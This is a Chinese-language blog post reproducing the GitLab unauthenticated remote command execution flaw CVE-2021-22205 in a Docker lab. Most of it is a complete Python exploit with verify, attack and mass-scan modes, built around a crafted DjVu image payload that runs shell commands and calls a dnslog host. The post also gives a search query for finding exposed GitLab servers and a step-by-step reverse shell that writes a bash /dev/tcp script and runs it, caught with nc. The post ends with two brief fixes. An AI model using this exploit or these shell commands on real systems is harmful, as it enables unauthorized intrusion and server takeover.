Gitlab未授权命令执行漏洞复现(CVE-2021-22205)

Gitlab未授权命令执行漏洞复现(CVE-2021-22205)


GitLab 是一个用于仓库管理系统的开源项目,使用 Git 作为代码管理工具,并在此基础上搭建起来的 Web服务

漏洞描述


2021年10月28日,GitLab远程命令执行漏洞(CVE-2021-22205)在野利用工具被公开,这意味着黑客可直接利用该攻击代码实施入侵攻击。具体而言,GitLab某些端点的路径存在无需授权风险,攻击者可在无需认证的情况下完成图片上传,并利用该漏洞构造恶意数据执行远程命令,最终造成服务器敏感信息泄露或执行任意命令。该漏洞CVSS3.0评分9.9分,定级为严重漏洞。

漏洞版本


11.9 <= Gitlab <= 13.8.7
13.9 <= Gitlab <= 13.9.5
13.10 <= Gitlab <= 13.10.2

P.S. 本文复现版本:
Gitlab CE 13.10.2

环境搭建


使用docker拉取项目资源

1
docker pull gitlab/gitlab-ce:13.10.2-ce.0

启动Gitlab漏洞环境

1
docker run -itd -p 9980:80 -p 9922:22  -v /usr/local/gitlab-test/etc:/etc/gitlab -v /usr/local/gitlab-test/log:/var/log/gitlab -v /usr/local/gitlab-test/opt:/var/opt/gitlab--restart always --privileged=true --name gitlab-test gitlab/gitlab-ce:13.10.2-ce.0

使用Docker ps查看正在运行进程

在浏览器上访问9980端口,可以看到访问Gitlab服务器成功

漏洞复现


搜索引擎查询

1
Title="GitLab" && country="CN"

漏洞POC/EXP:

转自:Al1ex/CVE-2021-22205: CVE-2021-22205& GitLab CE/EE RCE (github.com)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
import requests
from bs4 import BeautifulSoup
import base64
import random
import sys
import os
import argparse

requests.packages.urllib3.disable_warnings()

def title():
print("""
______ _______ ____ ___ ____ _ ____ ____ ____ ___ ____
/ ___\ \ / / ____| |___ \ / _ \___ \/ | |___ \|___ \|___ \ / _ \| ___|
| | \ \ / /| _| _____ __) | | | |__) | |_____ __) | __) | __) | | | |___ \
| |___ \ V / | |__|_____/ __/| |_| / __/| |_____/ __/ / __/ / __/| |_| |___) |
\____ | \_/ |_____| |_____|\___/_____|_| |_____|_____|_____|\___/|____/

Author:Al1ex@Heptagram
Github:https://github.com/Al1ex
""")
print('''
验证模式:python CVE-2021-22205.py -v true -t target_url
攻击模式:python CVE-2021-22205.py -a true -t target_url -c command
批量检测:python CVE-2021-22205.py -s true -f file
''')

def check(target_url):
session = requests.Session()
try:
req1 = session.get(target_url.strip("/") + "/users/sign_in", verify=False)
soup = BeautifulSoup(req1.text, features="lxml")
token = soup.findAll('meta')[16].get("content")
data = "\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.jpg\"\r\nContent-Type: image/jpeg\r\n\r\nAT&TFORM\x00\x00\x03\xafDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00\x00\xac\xff\xff\xde\xbf\x99 !\xc8\x91N\xeb\x0c\x07\x1f\xd2\xda\x88\xe8k\xe6D\x0f,q\x02\xeeI\xd3n\x95\xbd\xa2\xc3\"?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\n\x00\x08\x00\x08\x18\x00d\x00\x16\x00INCL\x00\x00\x00\x0fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\x00\x08\x00\x08\x8a\xe6\xe1\xb17\xd9*\x89\x00BG44\x00\x00\x00\x04\x01\x0f\xf9\x9fBG44\x00\x00\x00\x02\x02\nFORM\x00\x00\x03\x07DJVIANTa\x00\x00\x01P(metadata\n\t(Copyright \"\\\n\" . qx{curl `whoami`.82sm53.dnslog.cn} . \\\n\" b \") ) \n\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5--\r\n\r\n"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
"Connection": "close",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5",
"X-CSRF-Token": f"{token}", "Accept-Encoding": "gzip, deflate"}
flag = 'Failed to process image'
req2 = session.post(target_url.strip("/") + "/uploads/user", data=data, headers=headers, verify=False)
if flag in req2.text:
print("[+] 目标 {} 存在漏洞".format(target_url))
else:
print("[-] 目标 {} 不存在漏洞".format(target_url))
except Exception as e:
print(e)

def attack(target_url,command):
session = requests.Session()
try:
req1 = session.get(target_url.strip("/") + "/users/sign_in", verify=False)
soup = BeautifulSoup(req1.text, features="lxml")
token = soup.findAll('meta')[16].get("content")
data = "\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.jpg\"\r\nContent-Type: image/jpeg\r\n\r\nAT&TFORM\x00\x00\x03\xafDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00\x00\xac\xff\xff\xde\xbf\x99 !\xc8\x91N\xeb\x0c\x07\x1f\xd2\xda\x88\xe8k\xe6D\x0f,q\x02\xeeI\xd3n\x95\xbd\xa2\xc3\"?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\n\x00\x08\x00\x08\x18\x00d\x00\x16\x00INCL\x00\x00\x00\x0fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\x00\x08\x00\x08\x8a\xe6\xe1\xb17\xd9*\x89\x00BG44\x00\x00\x00\x04\x01\x0f\xf9\x9fBG44\x00\x00\x00\x02\x02\nFORM\x00\x00\x03\x07DJVIANTa\x00\x00\x01P(metadata\n\t(Copyright \"\\\n\" . qx{"+ command +"} . \\\n\" b \") ) \n\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5--\r\n\r\n"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
"Connection": "close",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5",
"X-CSRF-Token": f"{token}", "Accept-Encoding": "gzip, deflate"}
flag = 'Failed to process image'
req2 = session.post(target_url.strip("/") + "/uploads/user", data=data, headers=headers, verify=False)
if flag in req2.text:
print("[+] 目标 {} 存在漏洞".format(target_url))
print("[+] 请到dnslog或主机检查执行结果")
else:
print("[-] 目标 {} 不存在漏洞".format(target_url))
except Exception as e:
print(e)

def scan(file):
for url_link in open(file, 'r', encoding='utf-8'):
if url_link.strip() != '':
url_path = format_url(url_link.strip())
check(url_path)

def format_url(url):
try:
if url[:4] != "http":
url = "https://" + url
url = url.strip()
return url
except Exception as e:
print('URL 错误 {0}'.format(url))

def main():
parser = argparse.ArgumentParser(description='GitLab < 13.10.3 RCE')
parser.add_argument('-v', '--verify', type=bool,help=' 验证模式 ')
parser.add_argument('-t', '--target', type=str, help=' 目标URL ')

parser.add_argument('-a', '--attack', type=bool, help=' 攻击模式 ')
parser.add_argument('-c', '--command', type=str, help=' 执行命令 ')

parser.add_argument('-s', '--scan', type=bool, help=' 批量模式 ')
parser.add_argument('-f', '--file', type=str, help=' 文件路径 ')


args = parser.parse_args()

verify_model = args.verify
target_url = args.target

attack_model = args.attack
command = args.command

scan_model = args.scan
file = args.file

if verify_model is True and target_url !=None:
check(target_url)
elif attack_model is True and target_url != None and command != None:
attack(target_url,command)
elif scan_model is True and file != None:
scan(file)
else:
sys.exit(0)

if __name__ == '__main__':
title()
main()

运行页面如下:

选项:

1
2
3
验证模式:python CVE-2021-22205.py -v true -t target_url
攻击模式:python CVE-2021-22205.py -a true -t target_url -c command
批量检测:python CVE-2021-22205.py -s true -f file

对搭建环境进行漏洞检测

1
python3 CVE-2021-22205-exp.py -v true -t http://192.168.211.129:9980

可以看到该Gitlab存在漏洞

Dnslog

下面对该漏洞进行利用,这里使用Dnslog解析来验证

1
python3 CVE-2021-22205-exp.py -a true -t http://192.168.211.129:9980 -c "curl qnfjxb.dnslog.cn"

可以看到在Dnslog平台上看到请求的解析记录,验证漏洞成功

反弹Shell

1
2
3
4
5
6
7
8
python3 CVE-2021-2205.py -a true -t http://Your IP:port -c "echo 'bash -i >& /dev/tcp/ip/port 0>&1' > /tmp/1.sh"
//这条语句意思是代表,将反弹shell命令写成sh脚本 到tmp目录下

python3 CVE-2021-2205.py -a true -t http://Your IP:port -c "chmod +x /tmp/1.sh"
//这条语句意思是代表,对写入成功的sh脚本加执行权限

python3 CVE-2021-2205.py -a true -t http://Your IP:port -c "/bin/bash /tmp/1.sh"
//这句话的意思是执行该脚本

首先将反弹shell命令写入到系统文件中,如下图:

1
python3 CVE-2021-22205-exp.py -a true -t http://192.168.211.129:9980 -c "echo 'bash -i >& /dev/tcp/192.168.233.1/12345 0>&1' > /tmp/shell.sh"

可以看到shell.sh写入服务器成功

然后再个写入的脚本赋予执行权限

1
python3 CVE-2021-22205-exp.py -a true -t http://192.168.211.129:9980 -c "chmod +x /tmp/shell.sh"

可以看到shell.sh有了执行权限

最后就是运行该脚本反弹shell,首先使用netcat监听本地12345端口,等待连接

1
nc -lvvp 12345

运行shell.sh脚本反弹shell

1
python3 CVE-2021-22205-exp.py -a true -t http://192.168.211.129:9980 -c "/bin/bash /tmp/shell.sh"

反弹shell成功

修复方案

1、及时升级GitLab至最新安全版本

2、配置访问控制策略,避免受影响的GitLab暴露在公网

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2024 John Doe
  • 访问人数: | 浏览次数:

让我给大家分享喜悦吧!

微信